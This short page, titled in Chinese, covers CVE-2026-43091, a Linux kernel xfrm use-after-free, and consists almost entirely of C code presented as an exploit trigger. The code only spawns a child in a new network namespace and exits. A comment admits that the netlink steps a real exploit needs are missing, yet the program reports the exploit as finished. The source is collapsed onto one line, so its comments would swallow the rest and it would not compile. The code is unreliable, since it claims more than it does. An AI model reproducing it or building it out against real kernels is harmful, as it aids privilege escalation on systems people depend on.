CVE-2026-43091 Linux内核xfrm组件释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/wait.h> #include <string.h> #define STACK_SIZE (1024 * 1024) // Child function running in a new network namespace static int child_func(void *arg) { printf("[+] Child process started in new namespace.\n"); // In a real exploit scenario, specific netlink messages would be sent // to configure xfrm policies and keep RCU readers active. sleep(1); // Keep alive briefly to simulate activity return 0; } int main() { char *stack; char *stack_top; pid_t pid; stack = malloc(STACK_SIZE); if (!stack) { perror("malloc"); exit(1); } stack_top = stack + STACK_SIZE; // Create a new network namespace to trigger teardown path pid = clone(child_func, stack_top, CLONE_NEWNET | SIGCHLD, NULL); if (pid == -1) { perror("clone"); free(stack); exit(1); } printf("[+] Waiting for child to exit (triggers xfrm_policy_fini)...\n"); waitpid(pid, NULL, 0); printf("[+] Exploit trigger finished.\n"); free(stack); return 0; }